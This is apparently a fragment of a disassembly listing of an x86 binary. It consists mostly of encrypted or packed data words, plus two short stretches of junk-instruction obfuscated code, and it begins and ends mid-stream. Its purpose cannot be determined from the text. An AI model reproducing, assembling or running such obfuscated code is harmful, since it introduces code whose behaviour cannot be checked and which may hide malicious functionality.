9B913DDEh dd 208A457h, 848E22CFh, 0AA657h, 0E9822ECFh, 81E18951h dd 4C1h, 4E98300h, 8B240C87h, 89532424h, 4C381E3h, 83000000h dd 1C8704EBh, 0C895C24h, 2206824h, 4890000h, 0A8BF5724h dd 89655D6Dh, 81415FF9h, 927D9FC1h, 4EC83A0h, 81242489h dd 42404h, 51580000h, 11240481h, 8F508E5Ah, 0BD550840h dd 353447F3h, 658EF581h, 0E5C102C7h, 0FAE58102h, 810D105Bh dd 6533E6E5h, 4DF58121h, 81139901h, 175ABCF5h, 8682942h dd 2434FF5Dh, 4C48158h, 8B000000h, 8950240Ch, 405E0h, 4050000h dd 87000000h, 0E95C2404h, 0FFFA85BAh, 9A16C87Fh, 332F59DDh dd 0F81BB85Eh, 0C50305EFh, 0E954E0FFh, 3B664FEh, 138804A4h dd 2DFC5953h, 0C06D7E44h, 0D0B02748h, 84CD5D11h, 1810399h dd 130F6E63h, 21274585h, 0E4AA7ADFh, 699E0B8Dh, 2C7F3907h dd 17411E40h, 0FCA0699Ah, 0A2BB46F2h, 18927CB0h, 2C836186h dd 50B22544h, 0A1AE5F3Fh, 0BA393BBEh, 92D66A8Fh, 2CD70168h dd 9574FB2h, 4E9060DBh, 8D8D01D7h, 5EFFA5Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AC35141h, 5A78EAA0h dd 1E759D2Bh, 8D8905EAh, 5EA0ADDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0B2C35141h, 8ACA3677h, 85C79D7Fh dd 5EA0ACDh, 5BFCh, 18359D23h, 85C705EAh, 5EA25F5h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D6C35141h dd 6686192Dh, 0DF7BC081h, 16D59531h, 0B5FF05EAh, 5EA1189h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FDC35141h dd 0E1738149h, 6A4D5212h, 0E8606094h, 11h, 4A2831EDh, 2E3F743Eh dd 52FE7A6Dh, 59F343E1h, 31615A75h, 0EA2BC18Dh, 6E86105h dd 0CF000000h, 4124D77Dh, 0B315BA9Fh, 0FF5831A3h, 0EA2A1995h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 2FCDBE74h, 0E09B0A27h, 0C880D93Dh, 0FF006A33h dd 0EA101595h, 0EBC08B05h, 0E26EF278h, 0C9CB43B9h, 0E4896FC0h dd 0AF6FB615h, 0ABE0F926h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh dd 34F8C2D3h, 99136C6Eh, 8A99E72Eh, 30CD79ECh, 5DB0DD3Bh dd 0FFCE8C56h, 23B868CEh, 2D930AAFh, 209F7F4h, 0CD87F5D1h dd 1B250D7Eh, 0E3083CE7h, 1C5F9E8Ah, 10A8054Ch, 0F51CB6B0h dd 6CF2B1E4h, 0ED8028B7h, 6492C2DDh, 0B12B3DAAh, 3E5FB06Fh dd 0FD57BAB7h, 3A03C121h, 24EB5Dh, 8 dup(0) dd 0E9000000h, 0BDh, 0FADEB589h, 858B05EFh, 5EA02D1h, 2329858Bh dd 0B58D05EAh, 5EFFB28h, 7A61858Dh, 0D0FF05EDh, 0E855C3h dd 5D000000h, 0FB2EED81h, 0BD8305EFh, 5EA02D1h, 2C850F01h dd 0FF000000h, 0EFFADEB5h, 29858B05h, 3505EA23h, 34812736h dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h dd 6A000000h, 0E2B58D1Ch, 5605EFFAh, 0FADEB5FFh, 858B05EFh dd 5EA2329h, 81273635h, 83D0FF34h, 0B58D0CC4h, 5EFFAE2h dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h dd 1B80000h, 83000000h, 0EA02D1BDh, 850F0105h, 7, 2E9C35Dh dd 5D000000h, 7858DCFh, 8905EFFBh, 0EA318585h, 98E905h dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0) dd 6EFE0000h, 8E90DF3h, 6800000Bh, 5EFFE03h, 0FA81FDE9h dd 0FEEE68FFh, 0F3E905EFh, 68FFFA81h, 5EFFFC8h, 0FA81E9E9h dd 4168FFh, 0DFE905F0h, 68FFFA81h, 5F00171h, 0FA81D5E9h dd 1D768FFh, 0CBE905F0h, 68FFFA81h, 5F00514h, 0FA81C1E9h dd 61F68FFh, 0B7E905F0h, 0AFFFFA81h, 0D8227629h, 48B2E697h dd 0C43E6A0Bh, 4AB0E495h, 993F6B08h, 4BE86A18h, 0C271E51Fh dd 4FF06C96h, 0CD6CE11Bh, 13A13399h, 1D466319h, 6D49E06Ch dd 0EFE549E8h, 669FCB66h, 8E144A13h, 9973CE67h, 7DDE0F34h dd 0BCA7D807h, 9F33AB12h, 6C8517E9h, 7DDF1711h, 5ED93372h dd 74D8B44Dh, 0BE3CF77Eh, 8DDD711Dh, 0AADDC133h, 3EBF2149h dd 54B375Bh, 95FA8ED7h, 0CF012E24h, 2E77D487h, 41h, 6E0B4E80h dd 0A80DAEC2h, 9385F739h, 534B2400h, 74D7BB94h, 35D2871h dd 4AE988CDh, 12B1AA18h, 0DC4412BDh, 2320670h, 0C08E116Dh dd 0D4BF4994h, 2DC42E24h, 930454B5h, 85DC7FB2h, 0C0h, 8E86DDCh dd 13672E4Ah, 5A96BBD4h, 984E63B3h, 9A903C50h, 84C2FA58h dd 19B28A38h, 9D051757h, 0EFE623B0h, 0B0252F83h, 77C55F01h dd 17571E7Dh, 6BCB68F0h, 194DEC61h, 5719F29Fh, 0BE79FC17h dd 5A369A37h, 2CC6236h, 0B1242ECBh, 30A5A300h, 0D5242D81h dd 5BE45608h, 0EE12BD1Eh, 0CEDB2276h, 0F01BA9F7h, 830CD15Fh dd 478B451Bh, 0B83AC094h, 375BFA7Dh, 0B1CFF04h, 6CBD15E8h dd 8C7h, 6135EA6Eh, 0F5A1549Bh, 7D29CC0Fh, 0F3A75287h dd 7E2AC909h, 0B52559D8h, 26A85206h, 99DB2175h, 548B2E6h dd 38AA0054h, 4664B28Ah, 2089051Dh, 570FED6Dh, 283C66F0h dd 0EF4A0CCh, 277E2AC7h, 1C421B6Eh, 0BC48B5AEh, 7CD04812h dd 6C38360Ah, 12DC8211h, 641558DBh, 0C2C8A4C8h, 2E42EE8Bh dd 509DCF8Dh, 2E240AA8h, 31E011DFh, 7B71C39Dh, 0CE116C2Ch dd 0E173A56h, 8689B98Eh, 0A8BBE241h, 0E2000000h, 0E549E86Dh dd 64C86BEFh, 56636712h, 37E26B17h, 0E557CD63h, 1756630Fh dd 5EB17338h, 641368FBh, 14595FFCh, 0B9C0C965h, 7700B2ECh dd 2312BC0Bh, 5528FCCAh, 0D419A793h, 91EA4925h, 55A45D09h dd 7064D688h, 30CD09Bh, 0C70BC59Bh, 74EE4014h, 7F6AEEC6h dd 7AD9410Bh, 6E5DFE7Ch, 0E80BDF6Bh, 0DC08D971h, 83000007h dd 4FEAA4Dh, 8C7622D3h, 0FAAE4Fh, 8E7420D1h, 5DFBAF4Ch dd 8734A6DCh, 0F6A529D3h, 7B1C58A2h, 0F1A0D52Fh, 2F9D0FA5h dd 1D466555h, 398D24A8h, 71DD80F7h, 3AB8BE1Dh, 0BE37CD99h dd 6D1E4713h, 0EFE549E8h, 669FCB66h, 0A6144A13h, 12B99D7Dh dd 78B6E870h, 4C9F76F5h, 93A90F18h, 2D3D3741h, 28B01167h dd 0E961044h, 4811672Ch, 2C8C60D2h, 67FF1167h, 0E9C4C1C4h dd 5BFA79B7h, 5E919BF7h, 0F7441CBFh, 162E7BE2h, 0E13FBA8Eh dd 0EF8ACFD9h, 3B1EF83h, 0CCD0D68h, 0A319C35Bh, 78C5078Ch dd 732DF801h, 19C362C1h, 134DD573h, 56FA99DDh, 3039993Ah dd 0F0421CE9h, 6D2F23A0h, 0DB154BD3h, 77B9E792h, 93FF53FEh dd 5B926830h, 38948DBEh, 0C06887AFh, 70211h, 8C33A500h dd 8AD22D8h, 8035A65Ch, 0EAB2ED4h, 8132A05Ah, 0B0F273D5h dd 3FC59142h, 0AA5004B7h, 0DB21752Ah, 19B3E792h, 6643398Bh dd 3AB61D46h, 421B6E93h, 9D85AE1Ch, 0E07812B9h, 5EFF70BEh dd 644DA40Ah, 0FEF644FFh, 711166C7h, 0A639C4E9h, 0D588CBC1h dd 5EFF7076h, 0A275F8F2h, 0C071E42Fh, 0C06C006Ch, 3A582C9Eh dd 33AB1167h, 2100335Fh, 0F3E22410h, 6898A5Bh, 0AC2C0000h dd 32A55F0Bh, 0AE2DD783h, 30A15B0Fh, 0AB2FD581h, 7BFA5C08h dd 4014C70Bh, 0D38734BAh, 0A0F4AB29h, 3266135Ah, 0C4B80A98h dd 371D4666h, 1B6E12BBh, 48861C42h, 8D44690Ah, 629B1C1Ah dd 85AED477h, 7812B9D4h, 0FE70BEE0h, 6C00B33Bh, 5D0FACC0h dd 0EBBF5A93h, 643A1312h, 66A1D2D6h, 11BD2511h, 66A29067h dd 0BA579E11h, 38D91C16h, 0A7AC494h, 0ABD997EBh, 1E77D6A2h dd 3D262Eh, 6E7F0000h, 8A104E27h, 24025D63h, 9C3F9993h dd 57270AE6h, 49E57D17h, 1A54FE17h, 807D5425h, 6C00AC4Dh dd 0E7D9A300h, 51175699h, 18E0ED1Fh, 64340E70h, 7, 1F1B63Dh dd 24EF0000h, 4E1280Fh, 0F062945Ah, 0F147AAFAh, 0D975193Bh dd 0F64416B5h, 12BCAB3Dh, 6CF6A830h, 6C7AE6DEh, 62C15911h dd 0DE640EB4h, 0B47AB312h, 34319243h, 0F44618E5h, 5D27AA77h dd 16C734CAh, 0CADFD67Ah, 1944ADF3h, 598BA032h, 7CE6B417h dd 34983DB2h, 4F81FB58h, 62573CC9h, 0E36AA4FAh, 2CC6236h dd 888E2DD2h, 0CAA79445h, 5E9DA192h, 55927F6h, 0DC1C0000h dd 62956F3Bh, 0DE1DE7B3h, 60916B3Fh, 0DB1FE5B1h, 4BCA6C38h dd 5004B73Bh, 237724AAh, 0B0E49BD9h, 256034Ah, 0B4883AA8h dd 71D4667h, 0E86D228Bh, 75BBE549h, 0F6F35007h, 3684DAA3h dd 12BC773Dh, 0D27C28B0h, 5702FA48h, 0EE5C116Ch, 116C5716h dd 1E86F169h, 8732BBBDh, 1EF2B9B4h, 0ADB73E2h, 4F3h, 0D58136BAh dd 0A1F5A82Fh, 3165185Bh, 0BFEB86CBh, 32661545h, 0E9691594h dd 72E41E4Ah, 0ED6F95C1h, 71E41E4Ah, 0AC3E94C0h, 4668261Eh dd 0BC15991Dh, 0E549E86Dh, 67CB66EFh, 165F91CFh, 5539D81Dh dd 743695F9h, 0DE3AB308h, 706D8AECh, 0B9B79A04h, 81BC00A6h dd 0C87C2844h, 340F1540h, 454Ch, 1B6E1500h, 0A1AE1C42h dd 5412BC7Dh, 0D1C1FA8Dh, 0ED811D79h, 9ED11F41h, 52265CFFh dd 0D8116BB3h, 5F55F99Ah, 87D77B16h, 0D6AACB39h, 0B57B6C98h dd 0D380F647h, 757F137Fh, 0B8F05302h, 2E2384D0h, 723Ch dd 0D0396500h, 50FF6E52h, 0DCD97AE8h, 7C70C2CDh, 0CF175748h dd 8C653B57h, 0FC4EAD9Ch, 17573308h, 0DACEE37Bh, 661F3294h dd 188D5104h, 3684D675h, 12BC6C61h, 0C8520C94h, 6C5C827Ah dd 0CE6DF511h, 85C8069Ch, 0FE7177D4h, 8ACF015Fh, 0BA144CEFh dd 5B9A9220h, 75ED116Ch, 5ADBACD6h, 1A53116Ch, 66EF217Fh dd 0A80B67CBh, 10C50AF0h, 3DD6DBCh, 6E340000h, 861C421Bh dd 9856316Fh, 0E94AC55Eh, 0BCD53493h, 73DF4712h, 0E945F479h dd 3880ECE6h, 0DF9B55F1h, 8D21D001h, 0F6CCCE1h, 0CBEE08Ch dd 0CD2B6D3h, 0D02A7EE6h, 5950FC9Dh, 992B7550h, 6E89E4Eh dd 0E693C608h, 0AA63E45h, 8D21D200h, 87CA4F87h, 462A46EAh dd 6490CEEAh, 0ADDF6131h, 9ECA67EEh, 154B1267h, 0CB44668Fh dd 0FDE90D15h, 1A96BFD0h, 19BA7BD2h, 0FEB81063h, 17BB2300h dd 9539D81Dh, 0B1097BC5h, 71C39D68h, 0FB149502h, 1C519F35h dd 0CBBDD17Dh, 0F9C492F1h, 0E4B0DC44h, 963AD71Eh, 11BD5E9Ch dd 0D3E8141Eh, 5ABFF9Ah, 73D083CBh, 45A2376h, 93B638EDh dd 7954A6A2h, 0FA65C7EEh, 0F1A30054h, 2A5B1443h, 0D37FE7F5h dd 49E594D9h, 6535A719h, 0FE174914h, 75F78606h, 6072C4A1h dd 351AB39Eh, 0EF5D0FACh, 0EF3FBBC0h, 7122549Ah, 6531A9D2h dd 35FA569Fh, 15EC9C6Ah, 666CC0ACh, 0EF1642EFh, 2F9DC39Ah dd 0E955BA00h, 0DC356BF3h, 13FCB35Dh, 322FEC9h, 8A15E0ABh dd 0D4FBCBE6h, 0E0661852h, 0A395E343h, 6BE8063Ch, 939935E8h dd 101FB35Eh, 0B7CBEA1Ah, 0EBC173E9h, 5EE8063Ch, 0B52765C6h dd 0BE12E0A8h, 4C2C04h, 18820000h, 634D2AAh, 1EBD25E8h dd 421B6EBBh, 48B5AE1Ch, 0D04812BCh, 413408Eh, 0E74B27D8h dd 0FE88288Bh, 116C380Ah, 8F23D400h dd 93C65785h, 29268AE6h, 0F08CB123h, 642047AEh, 0CB63238Bh dd 0B3BA2A68h, 2E23EEC5h, 0D731h, 0E86D6800h, 6BEFE549h dd 0E76E64C8h, 69ECE64Ah, 9BD4C189h, 56EA5329h, 133EA617h dd 177BCE93h, 0A2558749h, 0D77425A8h, 0D280098Fh, 0FB721756h dd 7DF00A5Eh, 307970DCh, 5F910B55h, 0A0DA791Ch, 12BCCD27h dd 0EAC270DAh, 5D116CC9h, 4FDA9C5h, 0EC7628F5h, 0A102AF22h dd 0D11C09DBh, 0D21BD50Ch, 67FF8427h, 0EE6DA339h, 7EAB5F0Eh dd 5C302C98h, 0DA79F9FFh, 5AC9208Eh, 808AF157h, 65959330h dd 2BB485B6h, 0E048E80Bh, 1B631h, 40F77900h, 0B469EE14h dd 24D91AE0h, 0AA478A70h, 25D604FEh, 2C56D771h, 0A3590DAEh dd 26DC882Bh, 0AF5501B6h, 75DF8B26h, 6C5F55E7h, 5ED21D46h dd 4EED6DF7h, 0FE6DE01Ah, 0A9AB1E17h, 0AED84E32h, 175669D6h dd 36BBB129h, 0FAA3F79Bh, 0C2701B6Eh, 175666EAh, 882BA35Dh dd 48244824h, 48AFA416h, 0BC4212BCh, 0ACF29E3Fh, 37B08436h dd 9B03116Ch, 1AEE9838h, 66116C38h, 0C7B1BC28h, 372E2409h dd 0D0h, 72255799h, 910E265Fh, 288B318Fh, 8E86D8Dh, 0F97B0375h dd 0AB86EA46h, 711D8375h, 0F0A3D7DDh, 3E9F2A5Ch, 1A531757h dd 6D64D419h, 942D3C30h, 412D81EDh, 3DBD732Dh, 0FD5E329Eh dd 7B165FA5h, 0F2CBDED7h, 24811EACh, 0F41D12BDh, 42E1EC18h dd 0B0CB68C2h, 5EEC7628h, 116CFE66h, 0BAE241D9h, 316F3643h dd 0BE4542ABh, 0EE9AC2ECh, 7D04374Dh, 2FB70CD1h, 983BBF71h dd 17C436CCh, 0AFE6524h, 8657FFE8h, 0ABh, 0D59FE72h, 89DD80F7h dd 95D0073h, 87D37EF3h, 0A5EFD7Dh, 21512DACh, 9ADC2672h dd 2557ADF9h, 99DC2672h, 9406ACF8h, 466D4E26h, 842DA11Dh dd 0DD80F739h, 0F1431D71h, 175666FBh, 7375D64Eh, 0F2085CFFh dd 0D38ADE7Bh, 0E549E86Dh, 9FCB66EFh, 144A1366h, 0B99B29A6h dd 0E844DC12h, 90CE6BE2h, 0D97A175Eh, 47F27B81h, 36E9DEBh dd 63791965h, 69E82DADh, 640864C8h, 4507A4C8h, 0CA4D8017h dd 2B47EB88h, 31831947h, 963033Bh, 0EDB5168Eh, 9F33DE17h dd 19B56495h, 3685F749h, 0BC4612BFh, 0E5349839h, 3, 6DA508BCh dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh dd 208A457h, 848E22CFh, 0AA657h, 0E9822ECFh, 81E38953h dd 4C3h, 4EB8300h, 8B241C87h db 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push edi push ebx mov ebx, 5EFFCC2h mov edi, ebx pop ebx mov eax, edi pop edi push 48CDh mov [esp], esp add dword ptr [esp], 4 pop ecx push edx push eax sub dword ptr [esp], 11977E85h pop edx add edx, 11977E85h mov [ecx+8], edx pop edx push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_5488E2 ; --------------------------------------------------------------------------- db 0D3h, 23h, 0D8h dd 0B825A8A0h, 5F006EFh, 0E0FFC503h, 0DAE2705h, 4D1ACDE5h dd 6037955Dh, 47EF4979h, 4682787Ch, 311290BDh, 1175BFEFh dd 42DE3B9Dh, 0A8913E3h, 5BA40B09h, 3DC33286h, 75858E85h dd 23F0D37Bh, 12B372B8h, 5AA99DFCh, 6AA310BDh, 5B573F6Fh dd 26EB8AACh, 3E5F3885h, 1DE99139h, 6A8B7F3h, 743D5D6Fh dd 190D2402h, 0C99B847h, 438215BBh, 78F911Bh, 409D872Dh dd 75E92C8Ch, 2507124Fh, 316A5690h, 5DF8960h, 18D90C9h dd 8C88D8Dh, 0B58B05F0h, 5EA1225h, 0ADD8D89h, 0BD3105EAh dd 5EA0B81h, 0ACD85C7h, 668005EAh, 840F0000h, 2, 85C731B2h dd 5EA25F5h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F7C35747h dd 0E91A72FCh, 13h, 5F292FAFh, 3347BB1h, 5910E73Fh, 0C53C2A4h dd 0FFB61DEBh, 0EA0BF5B5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E858C319h dd 0Eh, 903A1CEDh, 0F3A00965h, 929A9D24h, 8C0F576Ch, 6 dd 0B5DB589h, 505A05EAh, 5FC28B66h, 2A1995FFh, 8B5005EAh dd 6A5BDAh, 101595FFh, 0C08B05EAh, 2EF579EBh, 0E9F2DC0Bh dd 0DFDB8F6Eh, 41292981h, 0A16FA8AAh, 0AD80E8CDh, 0BFD479C5h dd 7CA0AC1Ch, 9B372C1Ah, 96711B1Fh, 78D93A77h, 2D63EF23h dd 0F1C1004h, 59816F88h, 5BF3E5BBh, 4328B0C2h, 4F69D768h dd 0B9DB2197h, 95D9612Ah, 20DA1A9Ah, 0EC3E708h, 0E6A55C5Eh dd 0F68CFE8Ch, 0D8D066FFh, 150F5FC7h, 82C5ACAFh, 43D6D03h dd 71E824A0h, 4F25F9A5h, 561F0093h, 0E896EADEh, 6, 0B02CB26h dd 0B8602C90h, 4202087Dh, 59616057h, 0BE95B61h, 5C000000h dd 3C0F106Dh, 51D5F790h, 0C3811134h, 67B0h, 12D5B58Bh dd 91B905EAh, 81124E89h, 0B1902CC1h, 10E9EDh, 0E1B70000h dd 7E383F2Eh, 0E7D0DBB2h, 3B2BEF9Bh, 33FF3D4Eh, 23119D89h dd 0FC5805EAh, 1FFCF081h, 81F96209h, 2E56FBE8h, 7F0816Ah dd 0B2F8E4Dh, 0EA129DB5h, 0B038905h, 0EA0B35BDh, 53EB8105h dd 8906A53Ch, 0EA1B49B5h, 4FC38105h, 2B06A53Ch, 0EA0149B5h dd 1E98305h, 16850Fh, 8B660000h, 1EE9D0h, 0F3D50000h, 0CC0419CBh dd 5682363Fh, 2F5B3E1Bh, 959BD29h, 93E905EAh, 0B8FFFFFFh dd 9CCF4ABBh, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 17055C2Fh dd 13A7E9h, 0C9C6800h, 0AFE905F0h, 68FFFA73h, 5F00DBDh dd 0FA73A5E9h, 0EC868FFh, 9BE905F0h, 68FFFA73h, 5F01020h dd 0FA7391E9h, 109D68FFh, 87E905F0h, 68FFFA73h, 5F01180h dd 0FA737DE9h, 126868FFh, 73E905F0h, 68FFFA73h, 5F01309h dd 0FA7369E9h, 13B968FFh, 5FE905F0h, 68FFFA73h, 5F01560h dd 0FA7355E9h, 166F68FFh, 4BE905F0h, 68FFFA73h, 5F017A4h dd 0FA7341E9h, 18E668FFh, 37E905F0h, 68FFFA73h, 5F01AB7h dd 0FA732DE9h, 1BF068FFh, 23E905F0h, 3BFFFA73h, 0AC5602B5h dd 24DE8A2Bh, 0A85206B7h, 26DC8829h, 0F55307B4h, 2FCC0E74h dd 0AE4D817Bh, 23D400FAh, 0A9488D77h, 77C557FDh, 1D46727Dh dd 0B8227CF0h, 4672320Ah, 0BE1D851Dh, 49E86D1Bh, 0CB66EFE5h dd 77FF319Fh, 0A70468C4h, 0D08E57A2h, 0C42D91Eh, 0C3AFC36Fh dd 75D685C9h, 754A9527h, 0A53D12BCh, 53897F09h, 0B9F7116Ch dd 3082184Bh, 116C533Ch, 0E95162D5h, 82F55EDDh, 7F1B91Ah dd 772E2345h, 2Ch, 84F7392Eh, 1B117DD1h, 0E58925D8h, 6F364346h dd 48888331h, 0A33B12BCh, 3887790Fh, 0BFF1116Ch, 0A78004Dh dd 6842E24h, 0DD000001h, 0E549E86Dh, 96C86BEFh, 66C6BE0Ch dd 0A1391756h, 25A8A202h, 9BD2D874h, 883AA0FEh, 175666B4h dd 643C9F07h, 17D604CAh, 5666CFA5h, 0D6BA2217h, 66000F75h dd 87CE1756h, 1144BEEAh, 0B4C5CC60h, 3AF4A8Fh, 0EF5D036Fh dd 12BC6860h, 26DF8B13h, 0E6540AD3h, 0CD0AADDh, 0BB923B9h dd 0B7F7831h, 926A1C84h, 980B7F78h, 7B17BB5Ch, 4C37940Ch dd 0F4983DB2h, 45F664AAh, 3933811Bh, 8C0B7F78h, 315D0272h dd 0C230CA92h, 68732211h, 2981E82Ah, 1129F8h, 0D87FF100h dd 5C01768Ch, 0DC81F208h, 52FF7288h, 0DD7EFC06h, 0D4AE2F89h dd 5BA1F5A6h, 0CE346013h, 47BDE98Eh, 9D37630Eh, 72C7BD0Fh dd 0B63A1D46h, 1FD0391Fh, 5C05BAB0h, 6C774DFFh, 52CA1756h dd 579B9D3Eh, 0C534FAA4h, 41EFB714h, 6C9369DBh, 7EE61756h dd 0FB570874h, 0BB323497h, 498E401Eh, 6C2014A6h, 0B931756h dd 0ADA7CB67h, 762E8D2Ch, 421B6E2Fh, 48B5AE1Ch, 0D04812BCh dd 0D0F678Eh, 0BC5E5CDEh, 3F9C41B6h, 0F617E99Fh, 2F61116Bh dd 0C7C8B0BDh, 0F13F2E23h, 99D9D382h, 0D70059FAh, 59000000h dd 0E549E86Dh, 64C86BEFh, 5665E512h, 992BB117h, 175662A3h dd 2B2D8E16h, 59A3F7A2h, 0C0C96514h, 0CC478AB9h, 2C40EC8Dh dd 54094A40h, 108F6638h, 8A0BB50h, 6F2AF2Bh, 1E7205EAh dd 9B37E814h, 9C0654F7h, 0D91A2152h, 88E44824h, 0A8A6512Bh dd 0C15912BBh, 401D6C95h, 0EBB8AC1Eh, 0D34B0CCFh, 2D0F438Dh dd 4D46B66Bh, 0C772FB39h, 6993C7ABh, 0B4794AE9h, 0D0E82B0Ah dd 1008A978h, 0A0D00000h, 1E51ABFFh, 0A2D12B7Fh, 1C5DA7F3h dd 9FD3297Dh, 8F0EA8FCh, 84D083F7h, 0F5BF87Eh, 84D087F5h dd 0E5AF77Eh, 0B08436A4h, 31D4673h, 0ED6D268Fh, 5AF6A728h dd 0F40E5A36h, 9146B681h, 633D513Dh, 2A8928ADh, 5235DC72h dd 0D5B3B919h, 6733971Eh, 0C91E44Ah, 0E86D0AAFh, 66EFE549h dd 0F6659FCBh, 0EAF01947h, 9E9624C6h, 111756D7h, 6008A489h dd 99933390h, 42F1A554h, 0E1BCCD70h, 0DBF25BFh, 17572037h dd 201B11A3h, 0F66E1757h, 44F77F81h, 4BE884E8h, 0BD367A31h dd 29AA6412h, 17B4D874h, 64AAF46Ch, 82EE42F3h, 7A4DF721h dd 0B3DAF2F7h, 73C19F66h, 1548D8D0h, 5E57FB63h, 9E2C724Bh dd 0F5E284Ah, 0BA579A54h, 165E56E4h, 49D10E0Bh, 570991EAh dd 16857FCDh, 60F80E0Bh, 165F91C3h, 65FD6C3Ah, 86EA9EC0h dd 2F831D8h, 9C2A02B0h, 59D0E0Ah, 2096628h, 0CA03F9A1h dd 29511C2Fh, 3ABE59Fh, 0EFDD2h, 8C33A500h, 8AD22D8h, 8035A65Ch dd 0EAB2ED4h, 8132A05Ah, 0B0F273D5h, 3FC59142h, 0AA5004B7h dd 0DB21752Ah, 19B3E792h, 7543398Bh, 3AB61D46h, 49E86D93h dd 0FB9AD917h, 0C1BB0957h, 34175666h, 8ACAC0ACh, 0B61579D5h dd 330A1F16h, 732CDF6Dh, 47DF12BCh, 0C69FEA13h, 42C12A98h dd 0AC340CD2h, 21827600h, 0B0FE0B82h, 0F34F3944h, 5ABF2839h dd 0E6000000h, 0DD80F739h, 0E0171D71h, 5EFD913Dh, 29774E5Bh dd 0A19B29B3h, 14175666h, 82552F8Ch, 0B512BC2Bh, 27E9732Dh dd 0A9AF0CAFh, 38DD122Bh, 0CA94F894h, 961C4F23h, 0D172DB8Ah dd 693B0F89h, 7EF7116Bh, 0FF7D87D3h, 8738A46Ah, 3B31472Bh dd 8E116B69h, 7D67A16h, 0E32h, 31B6E5Eh, 0F248FE61h, 2C721ECEh dd 0A6873F9Eh, 88D64E12h, 36620F46h, 44E889CCh, 0C4A7D41Ah dd 66777E76h, 569F111h, 8F56A3A6h, 7D7D63D1h, 5AF00CB6h dd 766D14E8h, 6DBE670Bh, 0CEC36C8Ah, 0B1EF83EFh, 0F458FB7Fh dd 0F32418AAh, 0F970B76h, 5C92C063h, 0D62C7819h, 5EF29Fh dd 6FDD8CCEh, 0B76F395h, 0BF1C70E8h, 84F06FBAh, 7F137FD3h dd 0BE52BB21h, 0FB82074Bh, 5E8DF754h, 5106DC9Ch, 5441FAC9h dd 0EF47EE1Dh, 0DA53Eh, 540B4D00h, 0C075FA00h, 48ED6E94h dd 0C673E61Ch, 49EA6892h, 483ABB1Dh dd 0C73D690Ah, 42B8EC8Fh, 0C3396D12h, 11BBEF8Ah, 773B3183h dd 28E1D46h, 671F11ABh, 9DEC1756h, 1E509EC0h, 168CDE7Dh dd 7AC493FFh, 27792D51h, 56D19F95h, 298A1217h, 0A6D84553h dd 7E20B812h, 0C89C3DB0h, 8829A866h, 0EDEB4824h, 6C65C968h dd 0AC1E401Dh, 0CCCD41Fh, 0D2794AD2h, 0F2E82D2Dh, 0D288B5Ah dd 80F00000h, 0FE718BDFh, 82F10B5Fh, 0FC7D87D3h, 7FF3095Dh dd 0AF2E88DCh, 0A4F0A3D7h, 2F7B185Eh, 0A4F0A7D5h, 2E7A175Eh dd 0D0A41684h, 231D4676h, 0E86D06AFh, 66EFE549h, 145B95CBh dd 8E22D507h, 8D2D8EE2h, 0E604EDBFh, 6406CB25h, 0DB094BE8h dd 0F37E692h, 75D1634h, 22B80000h, 57599C90h, 0F745EF17h dd 175758FDh, 2784E870h, 0BAD03982h, 9E040796h, 297075D6h dd 298025Ch, 5720BCB0h, 1C7B5517h, 0B87650C6h, 8EF457CFh dd 12A6D1D5h, 73C80FC1h, 983458FBh, 0B42C57F4h, 0B124EAh dd 0B061905Eh, 3CB14B13h, 7147319Dh, 0BA1166C1h, 7AC8966Fh dd 0CCCCDC9h, 0C3FD67Ch, 0D4348F03h, 0EBBCB0C6h, 94260B7Ch dd 0B7CEBA0h, 56FC8B13h, 7CEC10E4h, 97FB630Bh, 0F44BC8FBh dd 0F159E82Ch, 0C4520h, 0B46BED00h, 20D51AE0h, 0A84D8E74h dd 26D306FCh, 0A94A8872h, 0A8DA5BFDh, 27DD892Ah, 0A2580CAFh dd 23D98D32h, 0F15B0FAAh, 77DBD163h, 0A22E1D46h, 49E86D0Bh dd 9321BBE5h, 17566699h, 982A74ECh, 175665A4h, 2A2C8F17h dd 685AF6A3h, 0C5B3BA2Ah, 31340E3Bh, 67Bh, 0BDB7059Fh dd 3017565Dh, 83EF8CCEh, 1F118520h, 0BB175667h, 66999321h dd 74EC1756h, 0FEC7D2D7h, 0B4883AA0h, 7175665h, 0DC6E3C9Fh dd 12A66C47h, 0F23C62FAh, 4E80DE7Bh, 90C86B08h, 3077E36Ah dd 0EA0A9BF9h, 0F03E600Ch, 5C50E281h, 0AF1165EBh, 0DAF75B37h dd 4D37C09Eh, 3291FDC6h, 0CD02CC92h, 217C0528h, 0D7EED4Fh dd 